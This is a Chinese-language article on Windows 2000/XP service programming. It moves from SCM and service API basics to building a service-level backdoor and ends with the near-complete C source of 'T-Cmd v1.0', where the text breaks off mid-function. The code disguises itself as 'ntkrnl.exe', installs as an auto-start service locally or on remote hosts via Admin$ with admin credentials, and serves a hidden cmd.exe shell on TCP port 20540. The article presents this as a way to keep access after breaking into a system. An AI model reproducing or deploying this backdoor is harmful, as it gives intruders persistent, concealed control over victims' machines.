浅析Windows 2000/XP服务与后门技术

  一、序言

  Windows下的服务程序都遵循服务控制管理器(SCM)的接口标准,它们会在登录系统时自动运行,甚至在没有用户登录系统的情况下也会正常执行,类似与UNIX系统中的守护进程(daemon)。它们大多是控制台程序,不过也有少数的GUI程序。本文所涉及到的服务程序仅限于Windows2000/XP系统中的一般服务程序,不包含Windows9X。

  二、Windows服务简介

  服务控制管理器拥有一个在注册表中记录的数据库,包含了所有已安装的服务程序和设备驱动服务程序的相关信息。它允许系统管理员为每个服务自定义安全要求和控制访问权限。Windows服务包括四大部分:服务控制管理器(Service Control Manager),服务控制程序(Service Control Program),服务程序(Service Program)和服务配置程序(Service Configuration Program)。

  1.服务控制管理器(SCM)

  服务控制管理器在系统启动的早期由Winlogon进程启动,可执行文件名是“Admin$\System32\Services.exe”,它是系统中的一个RPC服务器,因此服务配置程序和服务控制程序可以在远程操纵服务。它包括以下几方面的信息:

  已安装服务数据库:服务控制管理器在注册表中拥有一个已安装服务的数据库,它在服务控制管理器和程序添加,删除,配置服务程序时使用,在注册表中数据库的位置为:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services。它包括很多子键,每个子键的名字就代表一个对应的服务。数据库中包括:服务类型(私有进程,共享进程),启动类型(自动运行,由服务控制管理器启动,无效),错误类型(忽略,常规错误,服务错误,关键错误),执行文件路径,依赖信息选项,可选用户名与密码。

  自动启动服务:系统启动时,服务控制管理器启动所有“自启”服务和相关依赖服务。服务的加载顺序:顺序装载组列表:

  HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\ServiceGroupOrder;指定组列表:    
  HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\GroupOrderList;每个服务所依赖的服务程序。

  在系统成功引导后会保留一份LKG(Last-Know-Good)的配置信息位于:

  HKEY_LOCAL_MACHINE\SYSTEM\ControlSetXXX\Services。

  因要求而启动服务:用户可以使用服务控制面板程序来启动一项服务。服务控制程序也可以使用StartService来启动服务。服务控制管理器会进行下面的操作:获取帐户信息,登录服务项目,创建服务为悬挂状态,分配登录令牌给进程,允许进程执行。

  服务记录列表:每项服务在数据库中都包含了下面的内容:服务名称,开始类型,服务状态(类型,当前状态,接受控制代码,退出代码,等待提示),依赖服务列表指针。

  服务控制管理器句柄:服务控制管理器支持句柄类型访问以下对象:已安装服务数据库,服务程序,数据库的锁开状态。

  2.服务控制程序(SCP)

  服务控制程序可以执行对服务程序的开启,控制和状态查询功能:

  开启服务:如果服务的开启类型为SERVICE_DEMAND_START,就可以用服务控制程序来开始一项服务。在开始服务的初始化阶段服务的当前状态为:SERVICE_START_PENDING,而在初始化完成后的状态就是:SERVICE_RUNNING。

  向正在运行的服务发送控制请求:控制请求可以是系统默认的,也可以是用户自定义的。标准控制代码如下:停止服务(SERVICE_CONTROL_STOP),暂停服务(SERVICE_CONTROL_PAUSE),恢复已暂停服务(SERVICE_CONTROL_CONTINUE),获得更新信息(SERVICE_CONTROL_INTERROGATE)。

  3.服务程序

  一个服务程序可能拥有一个或多个服务的执行代码。我们可以创建类型为SERVICE_WIN32_OWN_PROCESS的只拥有一个服务的服务程序。而类型为SERVICE_WIN32_SHARE_PROCESS的服务程序却可以包含多个服务的执行代码。详情参见后面的Windows服务与编程。

  4.服务配置程序

  编程人员和系统管理员可以使用服务配置程序来更改,查询已安装服务的信息。当然也可以通过注册表函数来访问相关资源。

  服务的安装,删除和列举:我们可以使用相关的系统函数来创建,删除服务和查询所有服务的当前状态。

  服务配置:系统管理员通过服务配置程序来控制服务的启动类型,显示名称和相关描述信息。

  三、Windows服务与编程

  Windows服务编程包括几方面的内容,下面我们将从服务控制程序,服务程序和服务配置程序的角度介绍服务编程相关的内容。

  1.服务控制程序

  执行服务控制程序的相关函数前,我们需要获得一个服务对象的句柄,方式有两种:由OpenSCManager来获得一台特定主机的服务控制管理器数据库的句柄;使用OpenService或CreateService函数来获得某个服务对象的句柄。

  启动服务:要启动一个服务,服务控制程序可以使用StartService来实现。如果服务控制管理器数据库被锁定,那需要等待一定的时间然后再次测试StartService函数。当然也可以使用QueryServiceLockStatus函数来确认数据库的当前状态。在启动成功完成时,那么dwCurrentState参数将会返回SERVICE_RUNNING值。

  服务控制请求:服务控制程序使用ControlService函数来发送控制请求到正在运行的服务程序。它会向控制句柄函数发送一个特定的控制命令,可以是系统默认的,也可以是用户自定义的。而且每个服务都会确定自己将会接收的控制命令列表。使用QueryServiceStatus函数时,在返回的dwControlsAccepted参数中表明服务程序将会接收的控制命令。所有的服务都会接受SERVICE_CONTROL_INTERROGATE命令。

  2.服务程序

  一个服务程序内可以包含一个服务或多个服务的执行代码,但是它们都拥有固定的三个部分:服务main函数,服务ServiceMain函数和服务Control Handler函数。

  服务main函数:服务程序通常是以控制台的方式存在的,所以它们的入口点都是main函数。在服务控制管理器开始一个服务程序时,会等待StartServiceCtrlDispatcher函数的执行。如果服务类型是SERVICE_WIN32_OWN_PROCESS就会立即调用StartServiceCtrlDispatcher函数的执行;如果服务类型是SERVICE_WIN32_SHARE_PROCESS,通常在初始化所有服务之后再调用它。StartServiceCtrlDispatcher函数的参数就是一个SERVICE_TABLE_ENTRY结构,它包含了进程内所有服务的名称和服务入口点。

  服务ServiceMain函数:函数ServiceMain是服务的入口点。在服务控制程序请求一个新的服务启动时,服务控制管理器启动一个服务,并发送一个开始请求到控制调度程序,而后控制调度程序创建一个新线程来执行ServiceMain函数。ServiceMain须执行以下的任务:调用RegisterServiceCtrlHandler函数注册一个HandlerEx函数来向服务发送控制请求信息,返回值是服务状态句柄用来向服务控制管理器传送服务状态。初始化后调用SetServiceStatus函数设置服务状态为SERVICE_RUNNING。最后,就是执行服务所要完成的任务。

  服务Control Handler函数:每个服务都有一个控制句柄HandlerEx函数。它会在服务进程从服务控制程序接收到一个控制请求时被控制调度程序所调用。无论何时在HandlerEx函数被调用时,都要调用SetServiceStatus函数向服务控制管理器报告它当前的状态。在用户关闭系统时,所有的控制句柄都会调用带有SERVICE_ACCEPT_SHUTDOW控制代码的SetServiceStatus函数来接收NSERVICE_CONTROL_SHUTDOWN控制代码。

  3.服务配置程序

  服务配置程序可以更改或查询服务的当前配置信息。在调用服务配置函数之前,必须获得一个服务对象的句柄,当然我们可以通过调用OpenSCManager,OpenService或CreateService函数来获得。

  创建,删除服务:服务配置程序使用CreateService函数在服务控制管理器的数据库中安装一个新服务,它会提供服务的名称和相关的配置信息并存储在数据库中。服务配置程序则使用DeleteService函数从数据库中删除一个已经安装的服务。

  四、服务级后门技术

  在你进入某个系统后,往往会为自己留下一个或多个后门,以便今后的访问。在上传一个后门程序到远程系统上后系统重启之时,总是希望后门仍然存在。那么,将后门程序创建成服务程序应该是个不错的想法,这就是利用了服务程序自动运行的机制,当然在Windows2000的任务管理器里也很难结束一个服务程序的进程。

  创建一个后门,它常常会在一个端口监听,以方便我们使用TCP/UDP协议与远程主机建立连接,所以我们首先需要在后门程序里创建一个监听的端口,为了数据传输的稳定与安全,我们可以使用TCP协议。

  那么,我们如何才能模拟一个Telnet服务似的后门呢?我想大家都清楚,如果在远程主机上有一个Cmd是我们可以控制的,也就是我们可以在这个Cmd里执行命令,那么就可以实现对远程主机的控制了,至少可以执行各种常规的系统命令。启动一个Cmd程序的方法很多,有WinExec,ShellExecute,CreateProcess等,但只能使用CreateProcess,因为WinExec和ShellExecute它们实在太简单了。在使用CreateProcess时,要用到它的重定向标准输入/输出的选项功能,把在本地主机的输入重定向输入到远程主机的Cmd进程,并且把远程主机Cmd进程的标准输出重定向到本地主机的标准输出。这就需要在后门程序里使用CreatePipe创建两个管道来实现进程间的数据通信(Inter-Process Communication,IPC)。当然,还必须将远程主机上Cmd的标准输入和输出在本地主机之间进行传送,我们选择TCP协议的send和recv函数。在客户结束访问后,还要调用TerminateProcess来结束创建的Cmd进程。

  五、关键函数分析

  本文相关程序T-Cmd v1.0是一个服务级的后门程序,适用平台为Windows2000/XP。它可自动为远程/本地主机创建服务级后门,无须使用任何额外的命令,支持本地/远程模式。重启后,程序仍然自动运行,监听端口20540/tcp。

  1.自定义数据结构与函数

typedef struct
{
HANDLE hPipe;
//为实现进程间通信而使用的管道;
SOCKET sClient;
//与客户端进行通信时的客户端套接字;
}SESSIONDATA,*PSESSIONDATA;
//重定向Cmd标准输入/输出时使用的数据结构;

typedef struct PROCESSDATA
{
HANDLE hProcess;
//创建Cmd进程时获得的进程句柄;
DWORD dwProcessId;
//创建Cmd进程时获得的进程标识符;
struct PROCESSDATA *next;
//指向下一个数据结构的指针;
}PROCESSDATA,*PPROCESSDATA;
//在客户结束访问或删除服务时为关闭所以的Cmd进程而创建的数据结构;

void WINAPI CmdStart(DWORD,LPTSTR *);
//服务程序中的“ServiceMain”:注册服务控制句柄,创建服务主线程;
void WINAPI CmdControl(DWORD);
//服务程序中的“HandlerEx”:处理接收到的控制命令,删除已创建的Cmd进程;
DWORD WINAPI CmdService(LPVOID);
//服务主线程,创建服务监听端口,在接受客户连接时,创建重定向Cmd标准输入/输出线程;
DWORD WINAPI CmdShell(LPVOID);
//创建管道与Cmd进程,及Cmd的输入/输出线程;
DWORD WINAPI ReadShell(LPVOID);
//重定向Cmd的输出,读取信息后发送到客户端;
DWORD WINAPI WriteShell(LPVOID);
//重定向Cmd的输入,接收客户端的信息输入到Cmd进程;
BOOL ConnectRemote(BOOL,char *,char *,char *);
//如果选择远程模式,则须与远程主机建立连接,注须提供管理员权限的用户名与密码,密码为空时用"NULL"代替;
void InstallCmdService(char *);
//复制传送文件,打开服务控制管理器,创建或打开服务程序;
void RemoveCmdService(char *);
//删除文件,停止服务后,卸载服务程序;

  2.服务程序相关函数

SERVICE_TABLE_ENTRY DispatchTable[] =
{
{"ntkrnl",CmdStart},
//服务程序的名称和入口点;
{NULL ,NULL }
//SERVICE_TABLE_ENTRY结构必须以“NULL”结束;
};
StartServiceCtrlDispatcher(DispatchTable);
//连接服务控制管理器,开始控制调度程序线程;
ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
//注册CmdControl函数为“HandlerEx”函数,并初始化;
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(ServiceStatusHandle,&ServiceStatus);
//设置服务的当前状态为SERVICE_RUNNING;
hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
//创建服务主线程,实现后门功能;
WaitForSingleObject(hMutex,INFINITE);
//等待互斥量,控制全局变量的同步使用;
TerminateProcess(lpProcessDataHead->hProcess,1);
//终止创建的Cmd进程;
hSearch=FindFirstFile(lpImagePath,&FileData);
//查找系统目录下服务程序的文件是否已经存在;
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
//获得当前进程的程序文件名;
CopyFile(lpCurrentPath,lpImagePath,FALSE);
//复制文件到系统目录下;
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
//打开服务控制管理器数据库;
CreateService(schSCManager,"ntkrnl","ntkrnl",
 SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE,
 "ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);
//创建服务,参数包括名称,服务类型,开始类型,错误类型及文件路径等;
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
//如果服务已经创建,则打开服务;
StartService(schService,0,NULL);
//启动服务进程;
ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus);
//控制服务状态;
DeleteService(schService);
//卸载服务程序;
DeleteFile(lpImagePath);
//删除文件;

  3.后门程序相关函数

hMutex=CreateMutex(NULL,FALSE,NULL);
//创建互斥量;
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);
//创建处理客户端访问的重定向输入输出线程;
CreatePipe(&hReadPipe,&hReadShell,&saPipe,0);
CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0);
//创建用于进程间通信的输入/输出管道;
CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo);
//创建经重定向输入输出的Cmd进程;
hThread[1]=CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);
hThread[2]=CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);
//创建处理Cmd输入输出的线程;
dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);
//等待线程或进程的结束;
ReleaseMutex(hMutex);
//释放互斥量;
PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL);
//从管道中复制数据到缓冲区中,但不从管道中移出;
ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);
//从管道中复制数据到缓冲区中;
WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL);
//向管道中写入从客户端接收到的数据;
dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);
//与远程主机建立连接;
WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
//与远程主机结束连接;

  六、附录

  1.SC简介

  SC是一个与NT服务控制器,服务进程进行通信的控制台程序,它可以查询和修改已安装服务的数据库。

  语法:sc <server> [command] [service name] <option1> <option2>... ,选项<server>为“\\ServerName”的形式。

  主要的命令包括:query,config,qc,delete,create,GetDisplayName,GetKeyName,EnumDepend等。

  2.T-Cmd v1.0 源代码

#include <windows.h>
#include <stdio.h>

#define BUFFER_SIZE 1024

typedef struct
{
HANDLE hPipe;
SOCKET sClient;
}SESSIONDATA,*PSESSIONDATA;

typedef struct PROCESSDATA
{
HANDLE hProcess;
DWORD dwProcessId;
struct PROCESSDATA *next;
}PROCESSDATA,*PPROCESSDATA;

HANDLE hMutex;
PPROCESSDATA lpProcessDataHead;
PPROCESSDATA lpProcessDataEnd;
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE ServiceStatusHandle;

void WINAPI CmdStart(DWORD,LPTSTR *);
void WINAPI CmdControl(DWORD);

DWORD WINAPI CmdService(LPVOID);
DWORD WINAPI CmdShell(LPVOID);
DWORD WINAPI ReadShell(LPVOID);
DWORD WINAPI WriteShell(LPVOID);

BOOL ConnectRemote(BOOL,char *,char *,char *);
void InstallCmdService(char *);
void RemoveCmdService(char *);

void Start(void);
void Usage(void);

int main(int argc,char *argv[])
{
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{"ntkrnl",CmdStart},
{NULL ,NULL }
};

if(argc==5)
{
if(ConnectRemote(TRUE,argv[2],argv[3],argv[4])==FALSE)
{
return -1;
}

if(!stricmp(argv[1],"-install"))
{
InstallCmdService(argv[2]);
}
else if(!stricmp(argv[1],"-remove"))
{
RemoveCmdService(argv[2]);
}

if(ConnectRemote(FALSE,argv[2],argv[3],argv[4])==FALSE)
{
return -1;
}
return 0;
}
else if(argc==2)
{
if(!stricmp(argv[1],"-install"))
{
InstallCmdService(NULL);
}
else if(!stricmp(argv[1],"-remove"))
{
RemoveCmdService(NULL);
}
else
{
Start();
Usage();
}
return 0;
}

StartServiceCtrlDispatcher(DispatchTable);

return 0;
}

void WINAPI CmdStart(DWORD dwArgc,LPTSTR *lpArgv)
{
HANDLE hThread;

ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP
| SERVICE_ACCEPT_PAUSE_CONTINUE;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;

ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
if(ServiceStatusHandle==0)
{
OutputDebugString("RegisterServiceCtrlHandler Error !\n");
return ;
}

ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;

if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdStart Error !\n");
return ;
}

hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
if(hThread==NULL)
{
OutputDebugString("CreateThread in CmdStart Error !\n");
}

return ;
}

void WINAPI CmdControl(DWORD dwCode)
{
switch(dwCode)
{
case SERVICE_CONTROL_PAUSE:
ServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;

case SERVICE_CONTROL_CONTINUE:
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;

case SERVICE_CONTROL_STOP:
WaitForSingleObject(hMutex,INFINITE);
while(lpProcessDataHead!=NULL)
{
TerminateProcess(lpProcessDataHead->hProcess,1);
if(lpProcessDataHead->next!=NULL)
{
lpProcessDataHead=lpProcessDataHead->next;
}
else
{
lpProcessDataHead=NULL;
}
}

ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdControl in Switch Error !\n");
}

ReleaseMutex(hMutex);
CloseHandle(hMutex);
return ;

case SERVICE_CONTROL_INTERROGATE:
break;

default:
break;
}

if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdControl out Switch Error !\n");
}

return ;
}

DWORD WINAPI CmdService(LPVOID lpParam)
{
WSADATA wsa;
SOCKET sServer;
SOCKET sClient;
HANDLE hThread;
struct sockaddr_in sin;

WSAStartup(MAKEWORD(2,2),&wsa);
sServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(sServer==INVALID_SOCKET)
{
OutputDebugString("Socket Error !\n");
return -1;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(20540);
sin.sin_addr.S_un.S_addr = INADDR_ANY;

if(bind(sServer,(const struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
{
OutputDebugString("Bind Error !\n");
return -1;
}
if(listen(sServer,5)==SOCKET_ERROR)
{
OutputDebugString("Listen Error !\n");
return -1;
}

hMutex=CreateMutex(NULL,FALSE,NULL);
if(hMutex==NULL)
{
OutputDebugString("Create Mutex Error !\n");
}
lpProcessDataHead=NULL;
lpProcessDataEnd=NULL;

while(1)
{
sClient=accept(sServer,NULL,NULL);
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);
if(hThread==NULL)
{
OutputDebugString("CreateThread of CmdShell Error !\n");
break;
}
Sleep(1000);
}

WSACleanup();
return 0;
}

DWORD WINAPI CmdShell(LPVOID lpParam)
{
SOCKET sClient=*(SOCKET *)lpParam;
HANDLE hWritePipe,hReadPipe,hWriteShell,hReadShell;
HANDLE hThread[3];
DWORD dwReavThreadId,dwSendThreadId;
DWORD dwProcessId;
DWORD dwResult;
STARTUPINFO lpStartupInfo;
SESSIONDATA sdWrite,sdRead;
PROCESS_INFORMATION lpProcessInfo;
SECURITY_ATTRIBUTES saPipe;
PPROCESSDATA lpProcessDataLast;
PPROCESSDATA lpProcessDataNow;
char lpImagePath[MAX_PATH];

saPipe.nLength = sizeof(saPipe);
saPipe.bInheritHandle = TRUE;
saPipe.lpSecurityDescriptor = NULL;
if(CreatePipe(&hReadPipe,&hReadShell,&saPipe,0)==0)
{
OutputDebugString("CreatePipe for ReadPipe Error !\n");
return -1;
}

if(CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0)==0)
{
OutputDebugString("CreatePipe for WritePipe Error !\n");
return -1;
}

GetStartupInfo(&lpStartupInfo);
lpStartupInfo.cb = sizeof(lpStartupInfo);
lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
lpStartupInfo.hStdInput = hWriteShell;
lpStartupInfo.hStdOutput = hReadShell;
lpStartupInfo.hStdError = hReadShell;
lpStartupInfo.wShowWindow = SW_HIDE;

GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,("\\cmd.exe"));

WaitForSingleObject(hMutex,INFINITE);
if(CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo)==0)
{
OutputDebugString("CreateProcess Error !\n");
return -1;
}

lpProcessDataNow=(PPROCESSDATA)malloc(sizeof(PROCESSDATA));
lpProcessDataNow->hProcess=lpProcessInfo.hProcess;
lpProcessDataNow->dwProcessId=lpProcessInfo.dwProcessId;
lpProcessDataNow->next=NULL;
if((lpProcessDataHead==NULL) || (lpProcessDataEnd==NULL))
{
lpProcessDataHead=lpProcessDataNow;
lpProcessDataEnd=lpProcessDataNow;
}
else
{
lpProcessDataEnd->next=lpProcessDataNow;
lpProcessDataEnd=lpProcessDataNow;
}

hThread[0]=lpProcessInfo.hProcess;
dwProcessId=lpProcessInfo.dwProcessId;
CloseHandle(lpProcessInfo.hThread);
ReleaseMutex(hMutex);

CloseHandle(hWriteShell);
CloseHandle(hReadShell);

sdRead.hPipe = hReadPipe;
sdRead.sClient = sClient;
hThread[1] = CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);
if(hThread[1]==NULL)
{
OutputDebugString("CreateThread of ReadShell(Send) Error !\n");
return -1;
}

sdWrite.hPipe = hWritePipe;
sdWrite.sClient = sClient;
hThread[2] = CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);
if(hThread[2]==NULL)
{
OutputDebugString("CreateThread for WriteShell(Recv) Error !\n");
return -1;
}

dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);
if((dwResult>=WAIT_OBJECT_0) && (dwResult<=(WAIT_OBJECT_0 + 2)))
{
dwResult-=WAIT_OBJECT_0;
if(dwResult!=0)
{
TerminateProcess(hThread[0],1);
}
CloseHandle(hThread[(dwResult+1)%3]);
CloseHandle(hThread[(dwResult+2)%3]);
}

CloseHandle(hWritePipe);
CloseHandle(hReadPipe);

WaitForSingleObject(hMutex,INFINITE);
lpProcessDataLast=NULL;
lpProcessDataNow=lpProcessDataHead;
while((lpProcessDataNow->next!=NULL) && (lpProcessDataNow->dwProcessId!=dwProcessId))
{
lpProcessDataLast=lpProcessDataNow;
lpProcessDataNow=lpProcessDataNow->next;
}
if(lpProcessDataNow==lpProcessDataEnd)
{
if(lpProcessDataNow->dwProcessId!=dwProcessId)
{
OutputDebugString("No Found the Process Handle !\n");
}
else
{
if(lpProcessDataNow==lpProcessDataHead)
{
lpProcessDataHead=NULL;
lpProcessDataEnd=NULL;
}
else
{
lpProcessDataEnd=lpProcessDataLast;
}
}
}
else
{
if(lpProcessDataNow==lpProcessDataHead)
{
lpProcessDataHead=lpProcessDataNow->next;
}
else
{
lpProcessDataLast->next=lpProcessDataNow->next;
}
}
ReleaseMutex(hMutex);

return 0;
}

DWORD WINAPI ReadShell(LPVOID lpParam)
{
SESSIONDATA sdRead=*(PSESSIONDATA)lpParam;
DWORD dwBufferRead,dwBufferNow,dwBuffer2Send;
char szBuffer[BUFFER_SIZE];
char szBuffer2Send[BUFFER_SIZE+32];
char PrevChar;
char szStartMessage[256]="\r\n\r\n\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\r\n\t\t---[ E-mail: TOo2y@safechina.net ]---\r\n\t\t---[ HomePage: www.safechina.net ]---\r\n\t\t---[ Date: 02-05-2003 ]---\r\n\n";
char szHelpMessage[256]="\r\nEscape Character is 'CTRL+]'\r\n\n";

send(sdRead.sClient,szStartMessage,256,0);
send(sdRead.sClient,szHelpMessage,256,0);

while(PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL))
{
if(dwBufferRead>0)
{
ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);
}
else
{
Sleep(10);
continue;
}

for(dwBufferNow=0,dwBuffer2Send=0;dwBufferNow<dwBufferRead;dwBufferNow++,
dwBuffer2Send++)
{
if((szBuffer[dwBufferNow]=='\n') && (PrevChar!='\r'))
{
szBuffer[dwBuffer2Send++]='\r';
}
PrevChar=szBuffer[dwBufferNow];
szBuffer2Send[dwBuffer2Send]=szBuffer[dwBufferNow];
}

if(send(sdRead.sClient,szBuffer2Send,dwBuffer2Send,0)==SOCKET_ERROR)
{
OutputDebugString("Send in ReadShell Error !\n");
break;
}
Sleep(5);
}

shutdown(sdRead.sClient,0x02);
closesocket(sdRead.sClient);
return 0;
}

DWORD WINAPI WriteShell(LPVOID lpParam)
{
SESSIONDATA sdWrite=*(PSESSIONDATA)lpParam;
DWORD dwBuffer2Write,dwBufferWritten;
char szBuffer[1];
char szBuffer2Write[BUFFER_SIZE];

dwBuffer2Write=0;
while(recv(sdWrite.sClient,szBuffer,1,0)!=0)
{
szBuffer2Write[dwBuffer2Write++]=szBuffer[0];

if(strnicmp(szBuffer2Write,"exit\r\n",6)==0)
{
shutdown(sdWrite.sClient,0x02);
closesocket(sdWrite.sClient);
return 0;
}

if(szBuffer[0]=='\n')
{
if(WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL)==0)
{
OutputDebugString("WriteFile in WriteShell(Recv) Error !\n");
break;
}
dwBuffer2Write=0;
}
Sleep(10);
}

shutdown(sdWrite.sClient,0x02);
closesocket(sdWrite.sClient);
return 0;
}

BOOL ConnectRemote(BOOL bConnect,char *lpHost,char *lpUserName,char *lpPassword)
{
char lpIPC[256];
DWORD dwErrorCode;
NETRESOURCE NetResource;

sprintf(lpIPC,"\\\\%s\\ipc$",lpHost);
NetResource.lpLocalName = NULL;
NetResource.lpRemoteName = lpIPC;
NetResource.dwType = RESOURCETYPE_ANY;
NetResource.lpProvider = NULL;

if(!stricmp(lpPassword,"NULL"))
{
lpPassword=NULL;
}

if(bConnect)
{
printf("Now Connecting ...... ");
while(1)
{
dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);
if((dwErrorCode==ERROR_ALREADY_ASSIGNED) || (dwErrorCode==ERROR_DEVICE_ALREADY_REMEMBERED))
{
WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
}
else if(dwErrorCode==NO_ERROR)
{
printf("Success !\n");
break;
}
else
{
printf("Failure !\n");
return FALSE;
}
Sleep(10);
}
}
else
{
printf("Now Disconnecting ... ");
dwErrorCode=WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
if(dwErrorCode==NO_ERROR)
{
printf("Success !\n");
}
else
{
printf("Failure !\n");
return FALSE;
}
}

return TRUE;
}

void InstallCmdService(char *lpHost)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
char lpCurrentPath[MAX_PATH];
char lpImagePath[MAX_PATH];
char *lpHostName;
WIN32_FIND_DATA FileData;
HANDLE hSearch;
DWORD dwErrorCode;
SERVICE_STATUS InstallServiceStatus;

if(lpHost==NULL)
{
GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,"\\ntkrnl.exe");
lpHostName=NULL;
}
else
{
sprintf(lpImagePath,"\\\\%s\\Admin$\\system32\\ntkrnl.exe",lpHost);
lpHostName=(char *)malloc(256);
sprintf(lpHostName,"\\\\%s",lpHost);
}

printf("Transmitting File ... ");
hSearch=FindFirstFile(lpImagePath,&FileData);
if(hSearch==INVALID_HANDLE_VALUE)
{
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0)
{
dwErrorCode=GetLastError();
if(dwErrorCode==5)
{
printf("Failure ... Access is Denied !\n");
}
else
{
printf("Failure !\n");
}
return ;
}
else
{
printf("Success !\n");
}
}
else
{
printf("already Exists !\n");
FindClose(hSearch);
}

schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
if(schSCManager==NULL)
{
printf("Open Service Control Manager Database Failure !\n");
return ;
}

printf("Creating Service .... ");
schService=CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);
if(schService==NULL)
{
dwErrorCode=GetLastError();
if(dwErrorCode!=ERROR_SERVICE_EXISTS)
{
printf("Failure !\n");
CloseServiceHandle(schSCManager);
return ;
}
else
{
printf("already Exists !\n");
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
if(schService==NULL)
{
printf("Opening Service .... Failure !\n");
CloseServiceHandle(schSCManager);
return ;
}
}
}
else
{
printf("Success !\n");
}

printf("Starting Service .... ");
if(StartService(schService,0,NULL)==0)
{
dwErrorCode=GetLastError();
if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)
{
printf("already Running !\n");
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return ;
}
}
else
{
printf("Pending ... ");
}

while(QueryServiceStatus(schService,&InstallServiceStatus)!=0)
{
if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING)
{
Sleep(100);
}
else
{
break;
}
}
if(InstallServiceStatus.dwCurrentState!=SERVICE_RUNNING)
{
printf("Failure !\n");
}
else
{
printf("Success !\n");
}

CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return ;
}

void RemoveCmdService(char *lpHost)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
char lpImagePath[MAX_PATH];
char *lpHostName;
WIN32_FIND_DATA FileData;
SERVICE_STATUS RemoveServiceStatus;
HANDLE hSearch;
DWORD dwErrorCode;

if(lpHost==NULL)
{
GetSystemDirectory(lpImagePath,MAX_PATH);
